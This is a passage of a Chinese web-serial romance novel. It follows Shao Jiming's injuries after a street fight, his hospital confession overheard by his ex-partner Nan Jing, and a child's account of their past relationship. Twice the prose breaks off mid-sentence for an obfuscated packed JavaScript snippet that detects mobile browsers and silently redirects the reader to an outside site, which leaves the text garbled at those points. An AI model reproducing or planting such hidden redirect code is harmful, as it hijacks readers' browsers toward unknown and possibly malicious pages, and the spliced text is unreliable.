而当秦朗凭借着直觉、对弟弟的了解,以及报警时对地形描述的模糊记忆,在迷宫般的老城区拼命搜寻,最终在一个堆满建筑垃圾、散发着浓重尿臊味的死胡同尽头,找到那个蜷缩在墙角阴影里的身影时,他感觉自己的心脏在那一刻,几乎停止了跳动。 胡同里唯一一盏还没完全罢工的路灯,投下惨淡昏黄的光晕,勉强照亮了那片狼藉。地上散落着断掉的木棍、扭曲的铁管,还有深色、尚未完全凝固的可疑液体痕迹。 邵既明背靠着冰冷粗糙的砖墙,坐在一堆破碎的瓦砾和垃圾袋上。他微微低着头,浅色的休闲衬衫几乎被各种污渍浸透,深一块浅一块,最刺目的是大片大片已经氧化发暗、但仍能看出原本色泽的赭红——那是血。他的脸上、脖颈、裸露的手腕和小臂上,布满了擦伤、淤青和干涸的血迹,左额角有一道明显的裂口,血顺着额角流下,凝结在苍白的皮肤上,触目惊心。他的右手以一种不自然的角度弯曲着,无力地搭在身侧,左手则紧紧捂着小腹侧方,指缝间不断有颜色更鲜红的血渗出来,浸透了深色的衣料,一滴一滴,缓慢地砸在他身下的碎石上。 听到急促逼近的脚步声,邵既明微微抬起了头。他的脸上沾满了血污和尘土, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046503|194740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 额发湿漉漉地贴在伤口周围,但那双眼睛,在昏暗的光线下,却异常清晰,甚至带着一种回光返照般的清明。他看向冲到他面前、脸色煞白、浑身颤抖的秦朗,干裂的、带着血痂的嘴唇动了动,发出的声音嘶哑微弱,几乎被夜风吹散,但秦朗听得清清楚楚—— “哥……他……没事吧?” 都他妈这样了!半条命都快没了!第一句话,问的还是那个害他至此的“他”! 秦朗只觉得一股血气直冲头顶,他猛地扬起手,想给这个不知死活的恋爱脑一个结结实实的耳光,把他打醒!可手掌悬在半空,看着邵既明那张惨不忍睹、却依旧固执地带着询问神情的脸,看着他身上那些还在渗血的伤口,看着他因为失血和剧痛而控制不住微微颤抖的身体……那一巴掌怎么也落不下去。最终,秦朗的手颓然放下,重重抹了把脸。 “他好着呢!一根头发丝都没掉!有事的是你!你这个疯子!不要命的混蛋!!” 远处传来了警笛尖锐的呼啸声,由远及近,几辆警车和一辆救护车闪烁着刺目的红蓝灯光,艰难地挤进了巷口。警察迅速控制了现场,除了靠在墙角的邵既明,地上还歪七扭八地躺着四五个同样挂彩、哀嚎不断的本地混混,有的抱着胳膊,有的捂着头,还有一个似乎被打断了鼻梁,满脸是血。从现场的痕迹和那些混混惊恐未消的眼神看,邵既明虽然寡不敌众,但下手极狠,完全是不要命的打法,以及绝境中被激发的凶性,竟然也放倒了好几个,吓跑了一些胆小的。 秦朗没空细看,在医护人员用担架抬起邵既明时,他紧紧跟在旁边,看着弟弟被血污和灰尘覆盖的脸上那双依旧执拗地看向他、等待确认的眼睛,秦朗咬着牙,又说了一遍:“他没事!你他妈给我挺住!听见没有?!” 邵既明似乎终于得到了想要的答案,紧绷的神经微微一松,眼皮沉重地耷拉了下去,但嘴角极其微弱地,向上弯了一下。 小镇的医院规模不大,设施陈旧,灯光是惨白的,照在斑驳的墙壁和光秃秃的水磨石地面上,更添几分凄凉。急救室里的医生和护士显然对这种斗殴导致的伤势见怪不怪,动作麻利但表情淡漠。 检查结果很快出来:失血过多,本就贫血虚弱的身体雪上加霜;左手腕疑似骨折,需要进一步拍片确认;身上多处软组织挫伤和撕裂伤,最严重的是小腹侧方那道不浅的伤口,需要清创缝合;额头的伤口也需要处理。医生用带着浓重口音的英语对秦朗说:“没有生命危险,但需要住院观察治疗,至少一周。他身体底子太差,恢复会慢。” 秦朗一边焦头烂额地处理各种手续、缴费、沟通,一边还要应付闻讯赶来想了解情况的当地警察。等他把邵既明送进勉强算干净的病房,看着护士给他挂上点滴、处理好伤口、固定好手腕,邵既明因为药物和疲惫终于沉沉睡去时,秦朗才瘫坐在病床边的硬塑料椅子上。 他盯着弟弟苍白虚弱、缠着纱布的脸,心里五味杂陈。后怕,心疼,愤怒,无奈,还有悲哀。为了南景,邵既明真的可以连命都不要。这到底是深情,还是病入膏肓? 秦朗疲惫地揉了揉突突直跳的太阳穴,对值班护士再三叮嘱,留下联系方式,然后拖着沉重的步伐,离开了充斥着药水味的医院,打车返回旅馆。 南景的房间里,周冉和赵琪都坐在小沙发上,赵琪眼睛还有些红,靠在周冉身边。南景则站在窗边,望着外面漆黑的夜色,背影挺拔,但透着一种沉默的紧绷感。听到开门声,三人同时转头。 “邵既明呢?”南景率先开口,声音比平时略显低沉,目光落在秦朗身上。他换了衣服,但头发还有些凌乱,脸上是属于正常人的担忧,毕竟邵既明是为了掩护他才陷入险境。 秦朗迎上南景的目光,又飞快地瞥了一眼周冉和赵琪。他脸上努力挤出一个算是轻松的表情。他走到桌边,拿起一瓶水,拧开灌了一大口,才用刻意放缓、但听起来依旧有些干涩的语调说:“没事,人找着了。就是跑的时候太急,天黑路滑,把脚给崴了,肿得跟馒头似的。那帮孙子也被警察逮了好几个,都撂了。送医院看了,医生说是软组织严重挫伤,得固定休息几天,就给留院观察了。小地方医院,条件就那样。” 周冉一直仔细观察着秦朗,从他一进门略显僵硬的动作,到喝水时滚动的喉结,再到那刻意轻松却难掩疲惫的眼神。她挑了挑眉,没立刻戳穿,只是顺着话头:“人没事就好,真是吓死了。这地方治安也太差了,以后可不能晚上乱走。邵既明也是,跑什么呀,把手机钱包给他们不就完了。” “就是啊,大表哥,那些人好可怕的。”赵琪也小声附和。 南景听着秦朗的话,目光在他脸上停留了几秒。秦朗的演技不算完美,那眼底的红血丝和眉宇间化不开的沉重,不像仅仅是因为崴脚。但他没有追问细节,只是点了点头,又问:“哪家医院?我过去看看他。” “哎,你就别去了。”秦朗立刻摆手,解释道,“医院那边我已经安排好了,有护士看着。而且那边离这儿不近,大晚上的,你再去,我也不放心。她们两个,”他指了指周冉和赵琪,“身边不能离人。今晚估计都睡不踏实。这样,我马上联系靠谱的安保公司,雇两个专业保镖,明天一早就到。以后咱们去哪儿都带着。这穷游体验,到此为止!钱就是用来买安全和舒坦的!” 他这话是对着周冉说的,周冉这次没唱反调,很干脆地点头:“行,都听你安排。是得小心点。” “大表嫂,”赵琪往周冉身边又靠了靠,小声请求,“那我今晚能跟你睡吗?我有点怕……” “当然可以。”周冉没犹豫,揽住了小姑娘的肩膀。这种时候,有个伴确实安心些。 秦朗看着周冉揽住赵琪,这次破天荒地没反对:“行,那你们俩锁好门。我再去医院一趟,给那小子送点换洗衣服和吃的。顺便……再看看医生怎么说。” 53. 你一定要幸福啊 南景站在陈旧医院走廊惨白的灯光下,空气中消毒水的味道浓烈到有些呛人。他刚从值班护士那里得到确切的病房号,也隐约听到了失血过多、骨折、虚弱、需密切观察等零碎字眼,拼凑出一个远比崴脚严重得多的画面。心脏像是被什么东西不轻不重地捏了一下,有些滞闷的钝痛,但更多的是…一种难以名状的沉重感。是歉疚吗?因为邵既明是为掩护他才受伤。是怜悯吗?看到一个曾经熟悉的人落得如此境地。还是…别的什么?他说不清。他只是觉得,必须亲眼确认一下。 他走到那扇写着病房号的门前。手刚抬起,准备叩响,里面传出的、压抑着怒火的低沉男声,让他动作倏然顿住。 是秦朗。 “……人家南景压根就对你这没反应!邵既明,值得吗?!啊?!你他妈把自己折腾成这副鬼样子,躺在这儿,他呢?他可能正睡得安稳,或者计划着明天去哪儿玩!你在他那儿,连个屁都不是!” 秦朗的声音透过并不隔音的门板,异常清晰。 接着,是邵既明的声音。 “我没想过值不值得…哥。我只是…不想他出事。”停顿了一下,传来压抑的咳嗽声,然后是更轻的声音,“他没事…就好。” “他没事?!你他妈的快死了你知不知道?!”秦朗的声音陡然拔高,又猛地压低,“你就这么爱他?!爱到命都不要了?!邵既明!你清醒一点!你不是二十出头为爱要死要活的小屁孩了!你他妈快三十了!是邵氏说一不二的负责人!你肩上扛着多少人的饭碗,心里没数吗?!为了一个早八百年前就不要你的人,把自己搞成这样,你脑子是不是被那些抗抑郁药腌入味了,咸得发齁还他妈以为自己情比金坚?!” 面对秦朗狂风暴雨般的质问和痛骂,邵既明沉默了很久。久到门外的南景以为他不会再回答。然后,那虚弱的声音再次响起,带着深不见底的苍凉:“哥…一开始,我就是…喜欢他的。喜欢看他打球的样子,喜欢他笑起来眼里有光的样子…那时候,我也没那么确定…自己的性向。不然…也不会在那天晚上之后,才…才和他在一起。” 他没有接秦朗关于珍惜的质问。那像是一道结了痂又被反复撕开、早已溃烂流脓的伤口,碰一下都是钻心的疼。他只是用一种近乎梦呓的语调,描述着他内心的那座囚笼:“那六年…他一点一点,像用沙子堆城堡。很慢,很小心。我就在那座城堡里…住了六年。温暖,安全,我以为…那就是永远。”他的声音哽了一下,吸了口气,才继续,更轻,更飘忽,“后来…他走了。城堡的门,从外面…关上了。锁死了。我出不去了…哥,我试过…我真的试过…可是里面…全是他的影子,他的声音,他留下的…每一粒沙。” “这些年…只有关于他的东西,他的消息…哪怕只是一点模糊的传闻,或者…你告诉我的,他随口的一句话…才像…偶尔照进城堡裂缝里的一点点光。很短,很暗…但只有那时候,我才觉得…自己还活着,没被彻底埋在那堆沙子下面。” “你就不能…放手吗?”秦朗的声音已经没有了怒骂,“就当那城堡塌了!沙子流走了!你出来!哥帮你,我们重新盖个房子,盖个更好的!” “放不下…忘不掉…”邵既明重复地喃喃,“哥,我试过了…用尽了所有办法…吃药,看医生,离他远远的…甚至…用自由意志,去杀死那种感觉…”他忽然短促地、痛苦地抽了口气,“…杀不死。真的…哥。自由意志…都杀不死…我爱他这件事。它就在那里…像呼吸,像心跳…像…我活着的证据,也是我痛苦的根源。” “可南景他早就封心锁爱了!”秦朗几乎是低吼出来,每一个字都像锤子砸在门上,也砸在门外南景的耳膜上,“他心里那把锁,钥匙早就扔了!焊死了!你他妈就算把心剖出来捧给他,他也不会多看一眼,只会觉得腥,觉得脏,觉得是麻烦!邵既明,你醒醒吧!别他妈再做这种感动自己、恶心别人的梦了!” “我知道…我知道他不要了…锁死了…我出不去,也…没想过再出去。” “那你他妈还…” “可是哥…”邵既明打断他,“我废了…我真的废了。” 秦朗的骂声戛然而止。 病房里陷入死寂。 门外的南景,背脊不自觉地绷紧了。 过了好几秒,才听到邵既明继续开口:“不只是这里…”他可能指了指自己的头,“…是全部都废了。一个…连对着自己喜欢了这么多年的人…都硬不起来的男人…是不是很可笑?很…没用?” “邵既明你…” “药吃的。”邵既明自嘲地笑了笑,那笑声比哭还难听,好不心酸,“副作用。也可能是…这里真的死了。”他顿了顿,声音里那种空洞的平静,比任何哭喊都更让人心头发冷,“我给不了他幸福了…哥。一个废人,连最基本的…男人的功能都没了,拿什么给?我连自己都顾不好…像个需要人二十四小时看着的累赘,一个定时炸弹…” “你他妈别这么说自己!”秦朗的声音也哑了。 “可我想看他幸福。就算…给他幸福的人不是我…就算他身边站着别人,结婚,生子,笑得特别开心…我也想看看。远远地看着就行。看到他好…我这里,”他大概又按了按胸口,“…就没那么疼了。好像…我那份给不出去的爱…也算…有个着落一样。” “你他妈——”秦朗像是被这番荒谬绝伦又悲惨至极的话彻底击溃了,“邵既明!我艹你大爷!你他妈是不是有病?!啊?!病入膏肓了!你听听你自己说的这是人话吗?!看着他和别人好?!你当你自己是苦情剧女主啊?!还他妈着落!你那爱是着落在粪坑里了!又馊又臭还自我感动!你他妈就是犯贱!天下男人女人死光了?你就非得吊死在南景这棵早就把你当烂泥甩掉的树上?!你他妈改名叫邵不悔算了!邵不举!邵犯贱!邵他妈的没救!!” 秦朗的怒骂夹杂着粗俗的词汇和痛心的哽咽,在病房里低低回荡。门外的南景,却像一尊凝固的雕像,一动不动。 他脸上没有任何表情,眼神沉静地望着面前斑驳的门板,仿佛能穿透它,看到里面那个浑身是伤、苍白虚弱、用最平静的语气说着最绝望话语的男人,和那个又气又急、心痛如绞却无计可施的兄长。 然后,在秦朗怒骂的间隙,在病房令人窒息的沉默和仪器的滴答声中,南景缓缓地、缓缓地,抬起了自己的右手。 手指修长,干净,骨节分明。 他将这只手,轻轻按在了自己左胸的位置。 隔着薄薄的衣衫,能感受到下面平稳、规律、有力的心跳。 怦。怦。怦。 一下,又一下。节奏一如既往,没有加快,也没有变慢。 温暖,有力,昭示着健康的生命力。 可是… 这里…真的锁死了吗? 真的…一点感觉都没有吗? 听到一个人因为你,变成这样,说出这样的话…心里,就真的…毫无波澜吗? 那座沙做的城堡…关门的时候,真的…一丝风都没漏出来吗? 南景保持着那个按着心口的姿势,站在那里。 他没有进去。 他只是静静地站了许久,久到里面秦朗的骂声渐渐低下去,变成了沉重的叹息;久到邵既明可能因为药力或疲惫,重新陷入了昏睡。 然后,他极其缓慢地,放下了按在胸口的手。 他最后看了一眼那扇紧闭的病房门,眼神深处的平静之下,似乎有什么极其细微的东西,裂开了一道缝,又迅速被更深的沉寂覆盖。 他转过身,脚步很轻,却异常沉稳,沿着来时的路,一步一步,离开了这条充斥着消毒水气味和绝望回声的医院走廊。 只有他自己知道,刚才按在胸口的那只手,指尖,在离开墙壁阴影、触及走廊灯光时,轻轻蜷缩了一下。 因着邵既明那“崴脚崴出住院部VIP长住套餐”的壮举,一行人不得不在这边境小镇继续盘桓。秦朗痛定思痛,大手一挥,火速将住宿从灵异主题修道院酒店升级到了镇上唯一一家称得上“星级”、至少大堂水晶灯不会忽明忽灭像在搞恐怖氛围的酒店。保镖二十四小时轮班,车辆随时候命,阵仗搞得跟拍□□电影似的。秦朗心想,妈的,这哪是度蜜月,这分明是武装押运兼病号陪护!钱!老子赚那么多钱,就是为了在这种时候能把安全和舒坦直接砸成现货! 南景对那晚医院之行绝口不提,平静得仿佛只是去超市买了瓶水。每天例行询问邵既明情况,得到秦朗“就那样,躺着呗”的敷衍回答后,便不再多问。周冉从秦朗那里知道了些真实情况,比如失血过多、旧疾、情绪很不稳定,甚至隐晦提及几次很危险。这么多年,她对邵既明那点因南景而起的芥蒂早就随风散了,如今听了,心里也说不上多同情,只是觉得……啧,何必呢。但终究,罪不至死。她没对南景多嘴,那是他们之间一笔烂账,旁人插嘴,容易里外不是人。 最快乐的莫过于赵琪,不用上学,天天跟着大表嫂吃喝玩乐,简直乐不思蜀。直到她亲妈的越洋追命电话打到秦朗手机上,语气温柔,但带杀气:“小朗啊,带琪琪玩归玩,暑假作业可不能一点不写啊,回头开学交不上,老师该找我谈话了。” 赵琪瞬间如丧考妣,哀嚎声响彻酒店套房:“妈!!!我在体验生活!在感受异国文化!作业那种东西会玷污我纯洁的旅行心灵!” 周冉立刻战术性后仰,举起双手表示清白:“别看我。教学?那是另外的价钱,且本人不提供此项服务。从姐高考结束、扔了笔走出考场的那一刻起,关于学习的所有修为就已尽散,如今是个彻头彻尾的知识性文盲,只会玩,谢谢。” 秦朗看着周冉那副“别来沾边”的傲娇样,又看看赵琪可怜巴巴的小脸,眼珠一转,计上心来。他猛地一拍大腿(差点拍周冉腿上,被踹开),满脸“哥只能帮你到这了”的沉痛表情,对赵琪说:“琪琪啊,不是大表哥不帮你,你看,你大表嫂是学术渣,你哥我是商业文盲, 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这意味着——老、子、的、新、婚、蜜、月、终、于、他、妈、的、要、开、始、了、啊、啊、啊、啊——!!! 秦朗差点当场热泪盈眶。他仿佛已经看到了没有电灯泡的、纯粹的、甜蜜的、充斥着成人色彩的二人世界在向他招手!阳光!沙滩!海浪!仙人掌!还有他亲爱的老婆!没有病号需要探视!没有作业需要操心!只有他和周冉!想睡到几点睡到几点!想去哪儿浪去哪儿浪!想怎么腻歪就怎么腻歪!这才是蜜月!这才是人生! 他努力控制着面部肌肉,不让自己笑得像个刚抢到心爱玩具的二百斤傻子,但嘴角还是不受控制地疯狂上扬。他一把搂过周冉,在她脸上响亮地“啵”了一口,语气是压抑不住的、飞扬跋扈的嘚瑟: “老婆!看见没!这就叫天时地利人和!障碍自动清零!保镖配置到位!从今天起,不,从此刻起!我们的蜜月,正式进入纯享版!我保证,接下来每一天,都让你体验什么叫君王不早朝…呸,是神仙眷侣,乐不思蜀!” 周冉被他搂得翻了个白眼,但也没挣脱,哼笑道:“德行。先把你这几天的陪护苦瓜脸收收,看着就倒胃口。还有,别高兴太早,万一医院那边……” “没有万一!”秦朗立刻打断,指天发誓,“唐医生说了,既明情况稳定,就是需要静养!我们频繁出现反而影响他休息!我们这是为他好!远程关怀,心意到了就行!再说了,有专业护士,有钞能力开道,他好着呢!咱们玩咱们的,就是对他最大的安慰,证明这世界没有咱们也一样转,他得学会独立!” 一套歪理说得冠冕堂皇。秦朗心里的小算盘打得噼啪响:邵既明你小子给哥争口气,在医院好好躺着,乖乖吃药,最好一觉睡到我们蜜月结束!赵琪小宝贝,好好跟你南景叔叔遨游知识海洋,不到饭点别出来! 于是,美好的画面就此定格: 上午,南景在酒店安静的咖啡厅或阳光房,面前摊开赵琪的数学卷子或英语作文,眉头微蹙,用那种讲解并购案的冷静语调,分析“鸡兔同笼”的第三种解法,或者修改“My Holiday”里幼稚的语法错误。赵琪时而恍然大悟,时而愁眉苦脸。 而秦朗和周冉…… “老婆!快!换衣服!隔壁镇有个超酷的废弃古堡,听说拍照片绝了!” “老婆!潜水教练我约好了!今天咱们去看珊瑚礁!比基尼带那套红色的!” “冉冉!我发现了家藏在小巷里的古董店,老板说有好多稀奇玩意儿,咱们去淘宝!” “亲爱的,露台烛光晚餐我订好了,就我们俩,看星星,喝小酒,谈谈人生,聊聊理想……” 秦朗像是上了发条的永动机,每天变着花样安排节目,精力旺盛得吓人。看周冉的眼神,黏糊得能拉丝,活脱脱一只终于得到肉骨头、兴奋得不停转圈摇尾巴的大型犬。 周冉由着他折腾,偶尔毒舌吐槽“秦总你这蜜月行程排得比上市公司议程还满”,但眼里时常带着笑意。不用操心病人,不用哄孩子,只管吃喝玩乐,还有个人变着法儿逗你开心……这感觉,确实不赖。 至于医院里那个苍白安静的障碍,和咖啡厅里那个辅导作业的临时保姆…… 秦朗在牵着周冉的手,奔向又一个浪漫冒险时,良心偶尔会微弱地抽搐一下。但很快,就会被“老子等这天等了多久!”“这才是我应得的!”的理直气壮淹没。 啊!这该死的、甜蜜的、终于像点样子的新婚生活! 就让医院的归医院,作业的归作业,而他和周冉,只归没羞没臊的二人世界! 秦朗迎着异国灿烂的阳光,搂紧怀里的爱人,觉得人生终于步入了付出总有回报的甜蜜正轨。 至于那点微不足道关于弟弟和良心的细微声响……嗯,一定是海风太大了,听不见。 54. 他是加害者,同时也是受害者 赵琪正对着摊开的数学练习册龇牙咧嘴,笔头都快被她咬秃了。秦朗临时被一个紧急电话叫回房间处理公事,只留下盯紧她写完这两页的军令。 南景拿着一本刚借到的当地植物图鉴走过来,准备在对面坐下安静翻阅,目光扫过赵琪那张皱成包子的小脸,脚步顿了顿,走到她身侧,微微俯身,看向那道被反复涂改的几何证明题。 “这道不会?”他声音平和。 赵琪像看到救星,立刻点头,指着题目,小脸垮着:“嗯!这道!可难了!二表哥之前在家里给我讲过类似的……”她顿了顿,像是想起什么,撇撇嘴,小声嘀咕,“不过他那会儿可能吃药吃多了,脑子都迷糊糊的,讲得颠三倒四,我越听越糊涂,还不如不讲呢。” 南景正准备拿笔给她演算的手,停顿了一下。他抬起眼,看向赵琪,像随口一问:“他……吃很多药吗?” 赵琪点点头,大眼睛里闪过属于孩子的不解和隐约的同情:“嗯!好多好多!五颜六色的小药片,还有糖浆,可难闻了。妈妈不让我多问,但我偷偷看到过几次。而且……”她压低声音,凑近南景一点,“他以前病得最厉害的时候,还被用软软的带子绑在床上呢,怕他伤着自己。那个时候我去看他,他好瘦好白,像个纸片人,谁都不理,就呆呆地看着床头……”她又停住了,眨巴着眼睛,似乎在犹豫该不该说。 “看着什么?”南景问。 “看着……你的照片。”赵琪的声音更小了,带着点困惑,“放在一个玻璃相框里,擦得可干净了。他就看着,一看能看好久,不说话,也不动,有时候还会掉眼泪……可是问他,他又不说。我觉得……他那个时候,又笨,又可怜。” 南景沉默了。他拉开赵琪旁边的椅子,坐了下来,将手里的图鉴轻轻放在桌上。他看着赵琪,放缓了语调:“可以……跟我说说吗?关于他吃药,生病,还有……照片的事。” 赵琪抬起头,看着南景温和的眼睛,又想起那个躺在床上苍白沉默、对着照片流泪的二表哥,心里那点属于孩子的分享欲和一丝模糊的为二表哥好的念头占了上风。但她还是警惕地竖起一根手指,放在嘴边:“那……那你不能说是我告诉你的哦!拉钩!不然他以后肯定不给我包大红包,也不带我出去玩儿了!” 南景看着她认真的小脸,很轻地笑了笑,那笑容淡得像水面涟漪,很快散去。他伸出手,勾起小拇指:“好,拉钩。” “拉钩上吊,一百年不许变,谁变谁就是小狗!”赵琪用力勾住他的手指,晃了晃,这才放下心来。 她整理了一下思绪,抱着膝盖,缩在宽大的椅子里,开始用她那带着偶尔颠三倒四的视角,慢慢拼凑出另一个邵既明的模样。 “二表哥病的可严重了,反反复复的。有好几次,我们都以为他……”赵琪皱了皱小鼻子,跳过不吉利的词,“反正特别吓人。后来慢慢好一点了,能下床,能说几句话,但还是不太对劲。我去看他,他就总是一个人待着,有时候在书房,有时候在阳光房,面前就放着那个玻璃相框,里面是你和他,都穿着一样的运动服,在操场边上,你好像在笑,他……他没什么表情。” “他就看着,一看能看一整个下午。阳光照在相框上,亮晶晶的,他就用手指,隔着玻璃,很轻很轻地摸……摸你的脸。”赵琪学着那个动作,眼神里满是不解,“可他摸不到呀,玻璃是凉的。然后他就会发很久的呆,眼神空空的,好像灵魂飞走了,去照片里了。” “他还有一个好厚好厚的笔记本,黑色的皮,锁着。有次钥匙忘了拔,我偷偷打开看过一眼……”赵琪有点不好意思地吐吐舌头,“里面记得密密麻麻的,像日记,又不像。写的全是关于你的事情。” “哪年哪月哪日,在什么地方,远远看到你穿了什么颜色的衬衫,打了什么领带。你和谁说了话,笑了几次。你好像瘦了点,或者气色不错。还有……大表嫂朋友圈发了的照片,只有跟你有关系……” 赵琪努力回忆着那些惊鸿一瞥工整到近乎刻板的字迹,和其中蕴含让她觉得莫名沉重又难过的关注。“一页一页,写了好多好多。好像……他活着,就是为了用那个本子,记下所有关于你的事情,哪怕只是远远看一眼,或者从别人那里听到一句。” 她顿了顿,声音低了下去:“后来他再好一点,能跟我多说几句话了。有时候聊着聊着,他就会说起你们大学时候的事情。不过……他说的时候,表情很奇怪,不像高兴,也不像难过,就是……很累,很后悔的样子。” 南景静静听着,放在膝上的手,手指无意识地蜷缩了一下,又缓缓松开。 “他说,你们大学就在一起了。”赵琪回忆着邵既明那些断断续续、带着自嘲的叙述,“但他又说,那时候他自己也稀里糊涂的,不确定,还有点……怕?反正别别扭扭的。他说你对他特别好,好到让他觉得不真实。” “比如,你记得他不爱吃葱,每次一起吃饭,都会细心地帮他把菜里的挑出来。但他那时候觉得……你很细心,但他就是冷漠的说你一个大男孩这么妈婆。” “你每天雷打不动给他占图书馆的座位,在他常坐的位置放好温水。他说他有时候故意不去,或者和别人去,你也不会生气,只是默默把水收走。他说你现在看起来这么冷静,那时候居然也会做这种……嗯……舔狗行为。”赵琪用了从周冉那里学来的词,不太理解但觉得贴切。 “你帮他整理课堂笔记,划重点,甚至在他通宵打游戏第二天起不来时,替他签到。他说你成绩那么好,做这些简直大材小用,还打击过你,说不用你帮,我也能过。” “你攒钱给他买他随口提过的一句限量版球鞋,他收到鞋时好像挺高兴,但转头就跟室友说‘非要做超过自己能力的事’,被你室友传话传到了你耳朵里。”赵琪说到这里,小心地看了一眼南景,见他脸上没什么表情,才继续。 “毕业那会儿,你拿到了好几个顶尖offer,却因为他一句异地没意思,选了一个离他公司近、但发展前景明显差一截的工作。他说他当时觉得理所当然,甚至觉得你也就那样,没什么大野心。” “工作后,你们住到了一起,一点点布置成家的样子,做饭,等他下班,尽管他十次有八次都在应酬。他说你做的菜其实挺好吃,但他很少夸,嫌你净搞这些没用的。” “你怕他喝经常喝酒胃不好,天天早起熬养胃粥,他嫌麻烦,说不如喝咖啡提神。” “你看到他跟女客户举止稍近,生了闷气,他反而觉得你小题大做、不够大气。” “你说想养只猫,他说麻烦,掉毛。你说想去哪里旅行,他说忙,没空。你跟他分享工作中的趣事或烦恼,他经常心不在焉,或者敷衍一句嗯,就低头看手机。” “你慢慢不再说那么多话了,不再期待他的回应,不再为他准备惊喜。你以为他是性格使然,是工作太累。他却觉得,你终于懂事了,不作了。” “他甚至……”赵琪的声音越来越低,带着孩子都能听出的难过,“在你们最后那段时间,在你小心翼翼地想跟他谈谈未来的时候,很不耐烦地打断你,说现在这样不是挺好?想那么多干嘛?” 赵琪说完,长长地舒了口气。她托着腮,看着南景,眼里满是困惑:“南景叔叔,二表哥说的这些,都是真的吗?他为什么那样对你呀?你对他那么好……他后来,好像特别特别后悔,每次说起这些,眼睛都红红的,说他自己是天下第一号大傻瓜,把对他最好的人,一点一点推开了,还觉得是人家不够好。” 咖啡厅里很安静,只有轻柔的背景音乐和远处隐约的交谈声。阳光在南景的侧脸上移动,他微微垂着眼,看着桌上那本摊开的、赵琪写了一半的数学练习册,久久没有言语。 那些被岁月尘封的、他早已不愿回想的细节,此刻经由一个孩子稚嫩而不加修饰的口吻,重新浮现。没有怨怼,没有控诉,只是平淡的叙述,却比任何激烈的指责都更清晰地勾勒出那段关系的真相——一个捧出全部热忱、细心呵护,却被视作寻常、甚至被轻视践踏的南景;和一个身在福中不知福、冷漠以对、直到彻底失去才痛彻心扉的邵既明。 原来,在邵既明那座自我囚禁的沙堡里,不仅关着他绝望的爱恋,还锁着这么多……被他亲手摔碎的那些来自南景的温柔碎片。 南景缓缓抬起手,指尖轻轻拂过练习册上那行写错的公式。他的动作很轻,眼神很深,像在擦拭一件蒙尘已久、却早已无关紧要的旧物。 赵琪说完似乎也有些不好意思,拿起果汁喝了一大口。阳光在她茸茸的发梢跳跃。她放下杯子,舔了舔嘴唇,像是又想起了什么重要补充,看着南景依旧沉静的侧脸,小声地、带着点打抱不平的意味,继续说道:“还有哦,他还说,他是笨蛋,一直以为是你给他下的药,说那杯酒是你递给他的。” 南景正在草稿纸上书写解题步骤的笔尖顿了一下,留下一个微小的墨点。但他没有抬头,也没有打断,只是握着笔的手指,微微收紧了些。 “就是你们……嗯,在一起的那天晚上。”赵琪努力回忆着邵既明那些痛苦又混乱的叙述,“他说,他喝了你递给他的那杯酒,然后就不太对劲了……后面的事情,就迷迷糊糊的。所以他一直以为,是你……用了手段。他不敢问,怕问了,连那点你喜欢他的假象都没了,又怕真的是你,那他喜欢的,到底是个什么样的人啊?” 赵琪皱着小眉头,努力理解着成年世界复杂又肮脏的算计:“可是后来他才知道,根本不是你。是别人搞的鬼,想给你喝的来着。但那个时候,你们已经因为这件事……嗯,在一起了。他说他自己是天下第一号大笨蛋,被人卖了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046505|194740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还替人数钱,冤枉了你那么久。” 她叹了口气,老气横秋地总结:“所以我觉得,二表哥也挺惨的呀。他以为是喜欢的人算计他,心里该多害怕,多恶心啊?可他居然还是……还是跟你在一起了。这不是说明,他其实喜欢你喜欢的不得了,喜欢到哪怕觉得你可能是个坏人,也舍不得放手吗?” 她看向南景,眼神清澈,带着孩童世界里非黑即白的逻辑:“南景叔叔,你说是不是?他一边喜欢你,想靠近你,一边又怕得要死,怕你哪天就像他以为的那样,露出真面目。所以他才会像个小刺猬,你一靠近,他就竖起刺,对你冷冷的,说难听的话,其实是想保护自己,也……也试探你吧?看看你会不会因为他这样,就真的变成坏人,或者……离开他。” 赵琪的逻辑简单直白,甚至有些天真,却像一把生锈的钥匙,猝不及防地插进了南景心门上那道早已锈死的锁孔,试图转动。虽然锁芯锈蚀得太厉害,纹丝未动,但那突兀的插?入感和摩擦声,却无比清晰地传递了过来。 南景终于缓缓抬起了头。他没有看赵琪,目光落在窗外远处一片被阳光照得发白的屋顶,眼神依旧平静,但那平静的深潭底下,似乎有极细微的暗流,被投入了这颗名为另一种真相的石子。 他从未想过,邵既明竟一直误会是他。在他那些小心翼翼的靠近、不计回报的付出、被反复冷落打击却依旧坚持的六年里,邵既明心里,竟一直揣着这样一个令人齿冷的猜疑? 以为是他下的药。 以为他的好都是伪装。 以为靠近是为了更深的算计。 所以,那些冷淡、敷衍、打击、甚至带着羞辱意味的话语和行为……不仅仅是因为不确定、因为骄傲、因为不懂珍惜,还可能是因为……恐惧和自我防御?像一个被迫吞下可疑糖果的孩子,一边贪恋那点甜,一边时刻警惕着毒发,于是用暴躁和推开,来掩饰内心的惶惑与不安? 这个答案,并不让南景感到释然或原谅。伤害是实实在在发生过的,那些冰冷的言语和忽视,像钝刀子,一点点磨掉了他最初的热忱和希望。邵既明的恐惧和误会,并不能抵消他带来的痛苦。 但…… 